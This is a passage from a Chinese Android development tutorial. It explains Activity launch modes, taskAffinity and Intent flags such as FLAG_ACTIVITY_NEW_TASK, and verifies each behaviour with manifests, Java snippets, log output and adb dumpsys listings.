OtherActivity\n\n启动AndroidTaskTest应用，在它的MianActivity中点击按钮开启SecondActivity，由上面的介绍可知secondActivity是运行在一个新任务中的，这个任务就是com.maweiqi.second。\n\n然后按Home键回到Launcher，启动AndroidTaskTest3，在启动AndroidTaskTest3的入口MianActivity时，会自动启动新的任务，那么现在一共有三个任务，AndroidTaskTest的MianActivity和SecondActivity分别占用一个任务，AndroidTaskTest3的MianActivity也占用一个任务。\n\n在AndroidTaskTest3的MianActivity中点击按钮启动OtherActivity，那么这个OtherActivity是在哪个任务中呢？\n\n#### **日志输出**\n\n```\n***AndroidTaskTest应用测试日志输出***\nonCreate：MainActivity TaskId: 29 hasCode:193251508\nonCreate：SecondActivity TaskId: 30 hasCode:171956091\n\n***AndroidTaskTest3应用测试日志输出***\nonCreate：MainActivity TaskId: 31 hasCode:199785693\nonCreate：OtherActivity TaskId: 30 hasCode:171956091\n```\n\n下面执行adb shell dumpsys activity命令，发现有以下输出：\n\n```\nTask id #30\n  TaskRecord{7f2f34a #30 A=com.maweiqi.second U=0 sz=2}\n    Intent { flg=0x10000000 cmp=com.open.android.task1/.SecondActivity }\n     Hist #1: ActivityRecord{a0f9ded u0 com.open.android.task3/.OtherActivity t30}\n       Intent { flg=0x10400000 cmp=com.open.android.task3/.OtherActivity }\n       ProcessRecord{12090b5 27543:com.open.android.task3/u0a62}\n      Hist #0: ActivityRecord{1048af6 u0 com.open.android.task1/.SecondActivity t30}\n       Intent { flg=0x10000000 cmp=com.open.android.task1/.SecondActivity }\n       ProcessRecord{5bc013e 26035:com.open.android.task1/u0a59}\n\n Task id #31\n   TaskRecord{dce52bb #31 A=com.open.android.task3 U=0 sz=1}\n      Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] flg=0x10000000 cmp=com.open.android.task3/.MainActivity }\n        Hist #0: ActivityRecord{f9e58c5 u0 com.open.android.task3/.MainActivity t31}\n      Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] flg=0x10000000 cmp=com.open.android.task3/.MainActivity }\n          ProcessRecord{12090b5 27543:com.open.android.task3/u0a62}\n\n Task id #29\n      TaskRecord{5b063d8 #29 A=com.open.android.task1 U=0 sz=1}\n      Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] flg=0x10000000 cmp=com.open.android.task1/.MainActivity }\n        Hist #0: ActivityRecord{689947d u0 com.open.android.task1/.MainActivity t29}\n          Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] flg=0x10000000 cmp=com.open.android.task1/.MainActivity }\n          ProcessRecord{5bc013e 26035:com.open.android.task1/u0a59}\n\nRunning activities (most recent first):\n   TaskRecord{7f2f34a #30 A=com.maweiqi.second U=0 sz=2}\n        Run #3: ActivityRecord{a0f9ded u0 com.open.android.task3/.OtherActivity t30}\n   TaskRecord{dce52bb #31 A=com.open.android.task3 U=0 sz=1}\n        Run #2: ActivityRecord{f9e58c5 u0 com.open.android.task3/.MainActivity t31}\n   TaskRecord{7f2f34a #30 A=com.maweiqi.second U=0 sz=2}\n       Run #1: ActivityRecord{1048af6 u0 com.open.android.task1/.SecondActivity t30}\n   TaskRecord{5b063d8 #29 A=com.open.android.task1 U=0 sz=1}\n       Run #0: ActivityRecord{689947d u0 com.open.android.task1/.MainActivity t29}\n\nmResumedActivity: ActivityRecord{a0f9ded u0 com.open.android.task3/.OtherActivity t30}\n```\n\n#### **结果分析**\n\n1）所以由此可见,AndroidTaskTest1的SecondActivity和AndroidTaskTest3的OtherActivity是在同一任务中的\n\n2）由上面adb shell dumpsys activity命令的输出结果还可以看出，AndroidTaskTest1和AndroidTaskTest3这两个应用程序会开启两个进程，他们的所有组件分别运行在独立的进程中\n\n3）AndroidTaskTest1所在进程的进程号为u0a59，AndroidTaskTest3所在进程的进程号为u0a62\n\n4）com.maweiqi.second任务中的两个activity属于不同的应用，并且运行在不同的进程中，这也说明了一个问题：任务（Task）不仅可以跨应用（Application），还可以跨进程（Process）。\n\n#### **实例验证singleTask的另一意义：在同一个任务中具有唯一性**\n\nsingleTask模式只意味着“可以在一个新的任务中开启”，至于是不是真的会在新任务中开启，在framework中还有其他条件的限制。由上面的介绍可知，这个条件为：是否已经存在了一个由他的taskAffinity属性指定的任务。这一点具有迷惑性，我们在看到singleTask这个单词的时候，会直观的想到它的本意：single in task。即，在同一个任务中，只会有一个该activity的实例。现在让我们进行验证：\n\n为了验证这种情况，需要修改一下上面用到的AndroidTaskTest1示例。增加一个FourthActivity，并且MianActivity，SecondActivity，ThirdActivity和FourthActivity这四个activity都不设置taskAffinity属性，并且将SecondActivity启动模式设为singleTask，这样这四个activity会在同一个任务中开启。代码和软件界面就不列出了，只列出清单文件。\n\n```xml\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n          package=\"com.open.android.task1\">\n\n    <application\n        android:allowBackup=\"true\"\n        android:icon=\"@mipmap/ic_launcher\"\n        android:label=\"@string/app_name\"\n        android:roundIcon=\"@mipmap/ic_launcher_round\"\n        android:supportsRtl=\"true\"\n        android:theme=\"@style/AppTheme\">\n        <activity android:name=\".MainActivity\">\n            <intent-filter>\n                <action android:name=\"android.intent.action.MAIN\" />\n                <category android:name=\"android.intent.category.LAUNCHER\" />\n            </intent-filter>\n        </activity>\n       <activity android:name=\".SecondActivity\"\n                  android:launchMode=\"singleTask\"\n                  >\n         </activity>\n        <activity android:name=\".ThirdActivity\"/>\n        <activity android:name=\".FourthActivity\"/>\n    </application>\n\n</manifest>\n```\n\n#### **测试方式：**\n\nMianActivity --> SecondActivity --> ThirdActivity --> FourthActivity\n\n#### **日志输出**\n\n```\nonCreate：MainActivity TaskId: 34 hasCode:199785693\nonCreate：SecondActivity TaskId: 34 hasCode:171956091\nonCreate：ThirdActivity TaskId: 34 hasCode:240438941\nonCreate：FourthActivity TaskId: 34 hasCode:168147209\n```\n\n由此可见这四个activity都是在同一个任务中的。再次执行adb shell dumpsys activity命令加以验证：\n\n```\nRunning activities (most recent first):\n  TaskRecord{d114530 #34 A=com.open.android.task1 U=0 sz=4}\n     Run #3: ActivityRecord{edae6a3 u0 com.open.android.task1/.FourthActivity t34}\n     Run #2: ActivityRecord{f9339a5 u0 com.open.android.task1/.ThirdActivity t34}\n     Run #1: ActivityRecord{1a30096 u0 com.open.android.task1/.SecondActivity t34}\n     Run #0: ActivityRecord{7e96fa4 u0 com.open.android.task1/.MainActivity t34}\n```\n\n#### **测试结果：**\n\n1）同样可以说明目前这四个activity都运行在affinity为com.open.android.task1的任务中，即栈中的状态为MainActivity --> SecondActivity --> ThirdActivity --> FourthActivity。\n\n下面执行在FourthActivity中点击按钮启动SecondActivity的操作，注意，SecondActivity的启动模式为singleTask，那么现在栈中的情况如何呢？\n\n#### **日志输出**\n\n```\n没有日志输出，说明没有调用onCreate方法\n```\n\n再次执行adb shell dumpsys activity命令，有以下输出：\n\n```\nRunning activities (most recent first):\n  TaskRecord{d114530 #34 A=com.open.android.task1 U=0 sz=2}\n     Run #1: ActivityRecord{1a30096 u0 com.open.android.task1/.SecondActivity t34}\n     Run #0: ActivityRecord{7e96fa4 u0 com.open.android.task1/.MainActivity t34}\n```\n\n#### **测试结果：**\n\n1）这时栈中的状态为MainActivity --> SecondActivity。确实确保了在任务中是唯一的，并且清除了同一任务中它上面的所有Activity。\n\n2）那么这个SecondActivity的实例是重用的上次已有的实例还是重新启动了一个实例呢？可以观察系统Log， 发现系统Log没有改变，还是上面的四条Log。打印Log的语句是在各个Activity中的onCreate方法中执行的，没有打印出新的Log，说明SecondActivity的onCreate的方法没有重新执行，也就是说是重用的上次已经启动的实例，而不是销毁重建。\n\n#### **结果分析：**\n\n1）经过上面的验证，可以得出如下的结论：在启动一个singleTask的Activity实例时，如果系统中已经存在这样一个实例，就会将这个实例调度到任务栈的栈顶，并清除它当前所在任务中位于它上面的所有的activity。\n\n### **实例验证singleInstance的行为**\n\n考谷歌官方文档，singleInstance的特点可以归结为以下三条：\n\n1）以singleInstance模式启动的Activity具有全局唯一性，即整个系统中只会存在一个这样的实例\n\n2）以singleInstance模式启动的Activity具有独占性，即它会独自占用一个任务，被他开启的任何activity都会运行在其他任务中（官方文档上的描述为，singleInstance模式的Activity不允许其他Activity和它共存在一个任务中）\n\n3）被singleInstance模式的Activity开启的其他activity，能够开启一个新任务，但不一定开启新的任务，也可能在已有的一个任务中开启\n\n下面对这三个特点分别验证，所使用的示例同样为AndroidTaskTest1，只不过会进行一些修改，下面列出它的清单文件：\n\n```xml\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n          package=\"com.open.android.task1\">\n\n    <application\n        android:allowBackup=\"true\"\n        android:icon=\"@mipmap/ic_launcher\"\n        android:label=\"@string/app_name\"\n        android:roundIcon=\"@mipmap/ic_launcher_round\"\n        android:supportsRtl=\"true\"\n        android:theme=\"@style/AppTheme\">\n        <activity android:name=\".MainActivity\">\n            <intent-filter>\n                <action android:name=\"android.intent.action.MAIN\" />\n                <category android:name=\"android.intent.category.LAUNCHER\" />\n            </intent-filter>\n        </activity>\n\n\n\n        <activity android:name=\".SecondActivity\"\n                  android:launchMode=\"singleInstance\"\n                  >\n            <intent-filter>\n                <action android:name=\"com.maweiqi.ACTION_MY\"/>\n                <category android:name=\"android.intent.category.DEFAULT\"/>\n            </intent-filter>\n        </activity>\n\n        <activity android:name=\".ThirdActivity\"/>\n        <activity android:name=\".FourthActivity\"/>\n    </application>\n\n</manifest>\n```\n\n由上面的清单文件可以知道，该应用包括四个activity，分别为MianActivity，SecondActivity，ThirdActivity，FourthActivity，其中SecondActivity启动模式设置为singleInstance。MianActivity可以开启SecondActivity，SecondActivity可以开启ThirdActivity。 并且为了可以在其他应用中开启SecondActivity，为SecondActivity设置了一个IntentFilter，这样就可以在其他应用中使用隐式Intent开启SecondActivity。\n\n#### **测试方式：**\n\nMianActivity --> SecondActivity --> ThirdActivity\n\n为了更好的验证singleInstance的全局唯一性，还需要其他一个应用，新建AndroidTaskTest4。AndroidTaskTest4只需要一个MianActivity，在MainActivity中点击按钮会开启AndroidTaskTest1应用中的SecondActivity。开启AndroidTaskTest1应用中的SecondActivity的代码如下：\n\n```java\npublic class MainActivity extends AppCompatActivity {\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        Button button = (Button) findViewById(R.id.button);\n        button.setOnClickListener(new View.OnClickListener() {\n            @Override\n            public void onClick(View view) {\n                Intent intent = new Intent();\n                intent.setAction(\"com.maweiqi.ACTION_MY\");\n                startActivity(intent);\n            }\n        });\n    }\n}\n```\n\n#### **下面开始验证第一个特点：以singleInstance模式启动的Activity具有全局唯一性，即整个系统中只会存在一个这样的实例**\n\n执行如下操作：安装AndroidTaskTest1应用，点击MainActivity中的按钮，开启SecondActivity，可以看到如下log输出：\n\n#### **日志输出**\n\n```\nonCreate：MainActivity TaskId: 35 hasCode:199785693\nonCreate：SecondActivity TaskId: 36 hasCode:171956091\n```\n\n执行adb shell dumpsys activity命令，有以下输出：\n\n```\n  Running activities (most recent first):\n      TaskRecord{2b68544 #36 A=com.open.android.task1 U=0 sz=1}\n        Run #1: ActivityRecord{6d9f8c u0 com.open.android.task1/.SecondActivity t36}\n      TaskRecord{ae9a62d #35 A=com.open.android.task1 U=0 sz=1}\n        Run #0: ActivityRecord{d0429f5 u0 com.open.android.task1/.MainActivity t35}\n```\n\n以上可以说明，singleInstance模式的Activity总是会在新的任务中运行(前提是系统中还不存在这样的一个实例) 。\n\n下面验证它的全局唯一性，执行以下操作：安装另一个应用AndroidTaskTest4，在开启的MainActivity中点击按钮开启AndroidTaskTest1应用中的SecondActivity。看到打印出一条新的日志：\n\n```\n{act=com.maweiqi.ACTION_MY cmp=com.open.android.task1/.SecondActivity} from uid 10063 on display 0\n```\n\n执行adb shell dumpsys activity命令，有以下输出：\n\n```\n      Running activities (most recent first):\n      TaskRecord{2b68544 #36 A=com.open.android.task1 U=0 sz=1}\n        Run #2: ActivityRecord{6d9f8c u0 com.open.android.task1/.SecondActivity t36}\n      TaskRecord{a7e9abd #37 A=com.open.android.task4 U=0 sz=1}\n        Run #1: ActivityRecord{f50eec0 u0 com.open.android.task4/.MainActivity t37}\n      TaskRecord{ae9a62d #35 A=com.open.android.task1 U=0 sz=1}\n        Run #0: ActivityRecord{d0429f5 u0 com.open.android.task1/.MainActivity t35}\n```\n\n#### **测试结果：**\n\n1）开启的SecondActivity就是上次创建的编号为6d9f8c的SecondActivity。\n\n2）Log中没有再次输出关于SecondActivity的信息，说明SecondActivity并没有重新创建\n\n#### **结果分析：**\n\n以singleInstance模式启动的Activity在整个系统中是单例的，如果在启动这样的Activiyt时，已经存在了一个实例，那么会把它所在的任务调度到前台，重用这个实例。\n\n#### **下面开始验证第二个特点：以singleInstance模式启动的Activity具有独占性，即它会独自占用一个任务，被他开启的任何activity都会运行在其他任务中**\n\n重新安装AndroidTaskTest1应用，点击MainActivity中的按钮，开启SecondActivity，在SecondActivity中点击按钮，开启ThirdActivity。可以看到有如下Log输出：\n\n#### **测试方式：**\n\nMainActivity --> SecondActivity --> ThirdActivity\n\n#### **日志输出：**\n\n```\nonCreate：MainActivity TaskId: 42 hasCode:199785693\nonCreate：SecondActivity TaskId: 43 hasCode:171956091\nonCreate：ThirdActivity TaskId: 42 hasCode:76684615\n```\n\n执行adb shell dumpsys activity命令，有以下输出：\n\n```\n Running activities (most recent first):\n      TaskRecord{ace0710 #42 A=com.open.android.task1 U=0 sz=2}\n        Run #3: ActivityRecord{322319f u0 com.open.android.task1/.ThirdActivity t42}\n      TaskRecord{abc9c0e #43 A=com.open.android.task1 U=0 sz=1}\n        Run #2: ActivityRecord{903a842 u0 com.open.android.task1/.SecondActivity t43}\n      TaskRecord{ace0710 #42 A=com.open.android.task1 U=0 sz=2}\n        Run #1: ActivityRecord{e3c0ddf u0 com.open.android.task1/.MainActivity t42}\n```\n\n#### **测试结果：**\n\nSecondActivity所在的任务为43，被SecondActivity启动的ThirdActivity所在的任务为42，这就说明以singleInstance模式启动的Activity具有独占性，即它会独自占用一个任务，被他开启的任何activity都会运行在其他任务中\n\n#### **下面开始验证第三个特点：被singleInstance模式的Activity开启的其他activity，能够在新的任务中启动，但不一定开启新的任务，也可能在已有的一个任务中开启**\n\n有上面对第二个特点的验证可以看到，被SecondActivity启动的ThirdActivity并没有运行在一个新开启的任务中，而是和MainActivity运行在了同一个已有的任务中，那么在什么情况下ThirdActivity才会启动一个新的任务呢？\n\n现在对程序的清单文件做以下修改，为ThirdActivity增加一个属性taskAffinity：\n\n#### **配置如下：**\n\n```\n<activity android:name=\".ThirdActivity\"\n                  android:taskAffinity=\"com.maweiqi.second\"/>\n```\n\n重新安装AndroidTaskTest1应用，执行和上一步中同样的操作：点击MainActivity中的按钮，开启SecondActivity，在SecondActivity中点击按钮，开启ThirdActivity。可以看到有如下输出：\n\n```\nonCreate：MainActivity TaskId: 44 hasCode:199785693\nonCreate：SecondActivity TaskId: 45 hasCode:171956091        \nonCreate：ThirdActivity TaskId: 46 hasCode:76684615\n```\n\n执行adb shell dumpsys activity命令，有以下输出：\n\n```\nRunning activities (most recent first):\n      TaskRecord{3088b56 #46 A=com.maweiqi.second U=0 sz=1}\n        Run #2: ActivityRecord{9eff1ed u0 com.open.android.task1/.ThirdActivity t46}\n      TaskRecord{f9bb7d7 #45 A=com.open.android.task1 U=0 sz=1}\n        Run #1: ActivityRecord{16c7b28 u0 com.open.android.task1/.SecondActivity t45}\n      TaskRecord{e9af8c4 #44 A=com.open.android.task1 U=0 sz=1}\n        Run #0: ActivityRecord{5c2ed47 u0 com.open.android.task1/.MainActivity t44}\n```\n\n#### **测试结果：**\n\n1）被SecondActivity启动的ThirdActivity启动在了一个新的任务中，即在启动ThirdActivity时创建了一个新任务。这就说明被singleInstance模式的Activity A在开启另一activity B时，能够开启一个新任务，但是是不是真的开启新任务，还要受其他条件的限制，这个条件是：当前系统中是不是已经有了一个activity B的taskAffinity属性指定的任务。\n\n其实这种行为和singleTask启动时的情况相同。在Activity的启动模式设置为singleTask时，启动时系统会为它加上FLAG_ACTIVITY_NEW_TASK标志，而被singleInstance模式的Activity开启的activity，启动时系统也会为它加上FLAG_ACTIVITY_NEW_TASK标志，所以他们启动时的情况是相同的，上面再验证singleTask时已经阐述过，现在重新说明一下：\n\n#### **结果分析：**\n\n由于ThirdActivity是被启动模式为singleInstance类型的Activity（即SecondActivity）启动的，framework会为它它加上FLAG_ACTIVITY_NEW_TASK标志，这时 framework会检索是否已经存在了一个affinity为com.maweiqi.second（即ThirdActivity的taskAffinity属性）的任务\n\n1）如果存在这样的一个任务，则检查在这个任务中是否已经有了一个ThirdActivity的实例.\n\n1-1）如果已经存在一个ThirdActivity的实例，则会重用这个任务和任务中的ThirdActivity实例，将这个任务调到前台，清除位于ThirdActivity上面的所有Activity，显示ThirdActivity，并调用ThirdActivity的onNewIntent（）。\n\n1-2）如果不存在一个ThirdActivity的实例，会在这个任务中创建ThirdActivity的实例，并调用onCreate()方法\n\n1-3）需要注意（1-1）有一种特殊情况，MainActivity, SecondActivity, ThirdActivity, FourthActivity 都不设置 taskAffinity.FourthActivity 设置为 singleInstance。测试 MainActivity -> SecondActivity -> ThirdActivity -> FourthActivity -> SecondActivity，从 FourthActivity 跳转到 SecondActivity, 是新开的一个 SecondActivity， 不会销毁 原 SecondActivity 上面的 ThirdActivity。\n\n2）如果不存在这样的一个任务，会创建一个新的affinity为com.maweiqi.second的任务，并且将ThirdActivity启动到这个新的任务中.\n\n如果ThirdActivity不设置taskAffinity，即ThirdActivity和MainActivity的taskAffinity相同，都为应用的包名，那么ThirdActivity是不会开启一个新任务的.\n\n#### **framework中的判定过程如下：**\n\n1）在SecondActivity启动ThirdActivity时，因为SecondActivity是singleInstance的，所以设定ThirdActivity的启动标志为FLAG_ACTIVITY_NEW_TASK\n\n2）然后获得ThirdActivity的taskAffinity,即为包名com.open.android.task1\n\n3）检查是否已经存在一个affinity为com.open.android.task1的任务，这个任务是存在的，就是MainActivity所在的任务，这个任务是在启动MainActivity时开启的\n\n4） 既然已经存在这个任务,就检索在这个任务中是否存在一个ThirdActivity的实例,发现不存在\n\n5）在这个已有的任务中启动一个SecondActivity的实例\n\n#### **为了作一个清楚的比较，列出ThirdActivity的taskAffinity属性设为com.maweiqi.second时的启动过程**\n\n1）在SecondActivity启动ThirdActivity时，因为SecondActivity是singleInstance的，那么设定ThirdActivity的启动标志为FLAG_ACTIVITY_NEW_TASK\n\n2）然后获得ThirdActivity的taskAffinity，即为com.maweiqi.second\n\n3）检查是否已经存在一个affinity为com.maweiqi.second的任务，这个任务是不存在的\n\n4） 创建一个新的affinity为com.maweiqi.second的任务，并且将ThirdActivity启动到这个新的任务\n\n到此singleInstance也介绍完了。\n\n### 小结\n\n由上述可知，Task是Android Framework中的一个概念，Task是由一系列相关的Activity组成的，是一组相关Activity的集合。Task是以栈的形式来管理的。\n\n我们在操作软件的过程中，一定会涉及界面的跳转。其实在对界面进行跳转时，Android Framework既能在同一个任务中对Activity进行调度，也能以Task为单位进行整体调度。在启动模式为standard或singleTop时，一般是在同一个任务中对Activity进行调度，而在启动模式为singleTask或singleInstance是，一般会对Task进行整体调度。\n\n#### **对Task进行整体调度包括以下操作：**\n\n1）按Home键，将之前的任务切换到后台\n2）长按Home键，会显示出最近执行过的任务列表\n3）在Launcher或HomeScreen点击app图标，开启一个新任务，或者是将已有的任务调度到前台\n4）启动singleTask模式的Activity时，会在系统中搜寻是否已经存在一个合适的任务，若存在，则会将这个任务调度到前台以重用这个任务。如果这个任务中已经存在一个要启动的Activity的实例，则清除这个实例之上的所有Activity，将这个实例显示给用户。如果这个已存在的任务中不存在一个要启动的Activity的实例，则在这个任务的顶端启动一个实例。若这个任务不存在，则会启动一个新的任务，在这个新的任务中启动这个singleTask模式的Activity的一个实例。\n5）启动singleInstance的Activity时，会在系统中搜寻是否已经存在一个这个Activity的实例，如果存在，会将这个实例所在的任务调度到前台，重用这个Activity的实例（该任务中只有这一个Activity），如果不存在，会开启一个新任务，并在这个新任务中启动这个singleInstance模式的Activity的一个实例。"
  },
  {
    "path": "docs/android/Android-Interview/Activity/深刻剖析activity启动模式-3.md",
    "content": "前面介绍了通过launchMode设置Activity的启动模式。本章接着介绍Activity的启动模式相关内容，讲解的内容是Intent与启动模式相关的Flag，以及android:taskAffinity的属性。\n\n### **Intent与启动模式相关的Flag简介**\n\n这里仅仅对几个常用的与启动模式相关的Flag进行介绍。\n\n#### **FLAG_ACTIVITY_NEW_TASK**\n\n很少单独使用FLAG_ACTIVITY_NEW_TASK，通常与FLAG_ACTIVITY_CLEAR_TASK或FLAG_ACTIVITY_CLEAR_TOP联合使用。因为单独使用该属性会导致奇怪的现象，通常达不到我们想要的效果！尽管如何，后面还是会通过\"FLAG_ACTIVITY_NEW_TASK示例一\"和\"FLAG_ACTIVITY_NEW_TASK示例二\"会向你展示单独使用它的效果。\n\n#### **FLAG_ACTIVITY_SINGLE_TOP**\n\n在google的官方文档中介绍，它与launchMode=\"singleTop\"具有相同的行为。实际上，的确如此！单独的使用FLAG_ACTIVITY_SINGLE_TOP，就能达到和launchMode=\"singleTop\"一样的效果。\n\n#### **FLAG_ACTIVITY_CLEAR_TOP**\n\n顾名思义，FLAG_ACTIVITY_CLEAR_TOP的作用清除\"包含Activity的task\"中位于该Activity实例之上的其他Activity实例。FLAG_ACTIVITY_CLEAR_TOP和FLAG_ACTIVITY_NEW_TASK两者同时使用，就能达到和launchMode=\"singleTask\"一样的效果！\n\n#### **FLAG_ACTIVITY_CLEAR_TASK**\n\nFLAG_ACTIVITY_CLEAR_TASK的作用包含Activity的task。使用FLAG_ACTIVITY_CLEAR_TASK时，通常会包含FLAG_ACTIVITY_NEW_TASK。这样做的目的是启动Activity时，清除之前已经存在的Activity实例所在的task；这自然也就清除了之前存在的Activity实例！\n注意：当同时使用launchMode和上面的FLAG_ACTIVITY_NEW_TASK等标签时，以FLAG_ACTIVITY_NEW_TASK为标准。也就是说，代码的优先级比manifest中配置文件的优先级更高！\n下面，通过几个实例加深对这几个标记的理解。\n\n#### **FLAG_ACTIVITY_NEW_TASK标签**\n\n#### **配置形式：**\n\n```xml\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n          package=\"com.open.android.task5\">\n\n    <application\n        android:allowBackup=\"true\"\n        android:icon=\"@mipmap/ic_launcher\"\n        android:label=\"@string/app_name\"\n        android:roundIcon=\"@mipmap/ic_launcher_round\"\n        android:supportsRtl=\"true\"\n        android:theme=\"@style/AppTheme\">\n        <activity android:name=\".MainActivity\">\n            <intent-filter>\n                <action android:name=\"android.intent.action.MAIN\"/>\n\n                <category android:name=\"android.intent.category.LAUNCHER\"/>\n            </intent-filter>\n        </activity>\n        <activity android:name=\"SecondActivity\" />\n    </application>\n\n</manifest>\n```\n\n#### **说明：**\n\n在该实例中，有两个MainActivity和SecondActivity。\n\n#### **使用案例：**\n\n```java\npublic class MainActivity extends AppCompatActivity {\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        findViewById(R.id.button).\n                setOnClickListener(new View.OnClickListener() {\n            @Override\n            public void onClick(View view) {\n                Intent intent = new Intent(MainActivity.this, SecondActivity.class);\n                intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);\n                startActivity(intent);\n            }\n        });\n        Log.i(\"maweiqi\", \"onCreate：\" + getClass().getSimpleName() +\n                \" TaskId: \" + getTaskId() + \" hasCode:\" + this.hashCode());\n    }\n    @Override\n    protected void onNewIntent(Intent intent) {\n        super.onNewIntent(intent);\n\n        Log.i(\"maweiqi\", \"onNewIntent：\" + getClass().getSimpleName() +\n                \" TaskId: \" + getTaskId() + \" hasCode:\" + this.hashCode());\n\n    }\n}\n```\n\n注意，跳转的Intent添加了FLAG_ACTIVITY_NEW_TASK标志。\n\n```java\npublic class SecondActivity extends AppCompatActivity {\n\n    @Override\n    public void onCreate(@Nullable Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_second);\n        Button button = (Button) findViewById(R.id.button2);\n        button.setOnClickListener(new View.OnClickListener() {\n            @Override\n            public void onClick(View view) {\n                Intent intent = new Intent(SecondActivity.this, MainActivity.class);\n                startActivity(intent);\n            }\n        });\n        Log.i(\"maweiqi\", \"onCreate：\" + getClass().getSimpleName() +\n                \" TaskId: \" + getTaskId() + \" hasCode:\" + this.hashCode());\n    }\n\n\n\n    @Override\n    protected void onNewIntent(Intent intent) {\n        super.onNewIntent(intent);\n\n        Log.i(\"maweiqi\", \"onNewIntent：\" + getClass().getSimpleName() +\n                \" TaskId: \" + getTaskId() + \" hasCode:\" + this.hashCode());\n\n    }\n}\n```\n\n#### **测试方式：**\n\nMainActivity--> SecondActivity --> MainActivity--> SecondActivity\n\n#### **输出的日志如下：**\n\n```\nonCreate：MainActivity TaskId: 73 hasCode:195694529\nonCreate：SecondActivity TaskId: 73 hasCode:54326677\nonCreate：MainActivity TaskId: 73 hasCode:121740648\nonCreate：SecondActivity TaskId: 73 hasCode:5761837\n```\n\n#### **在命令行中执行以下命令 adb shell dumpsys activity ,有以下输出：**\n\n```\nRunning activities (most recent first):\n    TaskRecord{e3d17e2 #73 A=com.open.android.task5 U=0 sz=4}\n       Run #3: ActivityRecord{a34fa00 u0 com.open.android.task5/.SecondActivity t73}\n       Run #2: ActivityRecord{21172da u0 com.open.android.task5/.MainActivity t73}\n       Run #1: ActivityRecord{b1e1e64 u0 com.open.android.task5/.SecondActivity t73}\n       Run #0: ActivityRecord{f015a6e u0 com.open.android.task5/.MainActivity t73}\n\n    mResumedActivity: ActivityRecord{a34fa00 u0 com.open.android.task5/.SecondActivity t73}\n```\n\n#### **测试结果：**\n\n1）全部在同一个task中\n\n2）全部创建不同的实例\n\n那如果MainActivity跳转去掉FLAG_ACTIVITY_NEW_TASK？在SecondActivity清单文件添加singleTask，代码和流程跟之前一样，只贴出清单文件配置\n\n#### **配置如下：**\n\n```xml\n<activity android:name=\"SecondActivity\"\n            android:launchMode=\"singleTask\"/>\n```\n\n#### **测试方式：**\n\nMainActivity--> SecondActivity --> MainActivity--> SecondActivity\n\n#### **输出的日志如下：**\n\n```\nonCreate：MainActivity TaskId: 74 hasCode:195694529\nonCreate：SecondActivity TaskId: 74 hasCode:54326677\nonCreate：MainActivity TaskId: 74 hasCode:38155814\nonNewIntent：SecondActivity TaskId: 74 hasCode:54326677\n```\n\n#### **在命令行中执行以下命令 adb shell dumpsys activity ,有以下输出：**\n\n```\nRunning activities (most recent first):\n   TaskRecord{46d0de2 #74 A=com.open.android.task5 U=0 sz=2}\n      Run #1: ActivityRecord{b31602f u0 com.open.android.task5/.SecondActivity t74}\n      Run #0: ActivityRecord{f88d9dc u0 com.open.android.task5/.MainActivity t74}\n\n    mResumedActivity: ActivityRecord{b31602f u0 com.open.android.task5/.SecondActivity t74}\n```\n\n#### **测试结果：**\n\n1）FLAG_ACTIVITY_NEW_TASK的作用和singleTask具有不同的效果\n\n那如果两个Activity的android:taskAffinity不相同呢？此时会导致什么效果呢？下面，我们通过示例来看看效果。\n\n#### **配置如下：**\n\n```xml\n<activity android:name=\"SecondActivity\"\n                  android:taskAffinity=\"com.maweiqi.second\"/>\n```\n\n代码回到最初MainActivity还是添加Flag标记，其他省略，如下：\n\n```java\npublic class MainActivity extends AppCompatActivity {\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        findViewById(R.id.button).\n                setOnClickListener(new View.OnClickListener() {\n            @Override\n            public void onClick(View view) {\n                Intent intent = new Intent(MainActivity.this, SecondActivity.class);\n                intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);\n                startActivity(intent);\n            }\n        });\n        Log.i(\"maweiqi\", \"onCreate：\" + getClass().getSimpleName() +\n                \" TaskId: \" + getTaskId() + \" hasCode:\" + this.hashCode());\n    }\n    @Override\n    protected void onNewIntent(Intent intent) {\n        super.onNewIntent(intent);\n\n        Log.i(\"maweiqi\", \"onNewIntent：\" + getClass().getSimpleName() +\n                \" TaskId: \" + getTaskId() + \" hasCode:\" + this.hashCode());\n\n    }\n}\n```\n\n#### **测试方式：**\n\nMainActivity--> SecondActivity --> MainActivity--> SecondActivity\n\n#### **输出的日志如下：**\n\n```\nonCreate：MainActivity TaskId: 77 hasCode:195694529\nonCreate：SecondActivity TaskId: 78 hasCode:54326677\nonCreate：MainActivity TaskId: 78 hasCode:38155814\n```\n\n#### **在命令行中执行以下命令 adb shell dumpsys activity ,有以下输出：**\n\n```\nRunning activities (most recent first):\n    TaskRecord{65dda1d #78 A=com.maweiqi.second U=0 sz=2}\n       Run #2: ActivityRecord{845c9ed u0 com.open.android.task5/.MainActivity t78}\n       Run #1: ActivityRecord{f813328 u0 com.open.android.task5/.SecondActivity t78}\n     TaskRecord{dd8e492 #77 A=com.open.android.task5 U=0 sz=1}\n       Run #0: ActivityRecord{7a85f99 u0 com.open.android.task5/.MainActivity t77}\n\n    mResumedActivity: ActivityRecord{845c9ed u0 com.open.android.task5/.MainActivity t78}\n```\n\n#### **测试结果：**\n\n1）当第二次进入到MainActivity中，再企图从MainActivity中进入到SecondActivity时，没有产生任何效果，仍然停留在MainActivity中！即第二次MainActivity--> SecondActivity压根就没发生！\n\n#### 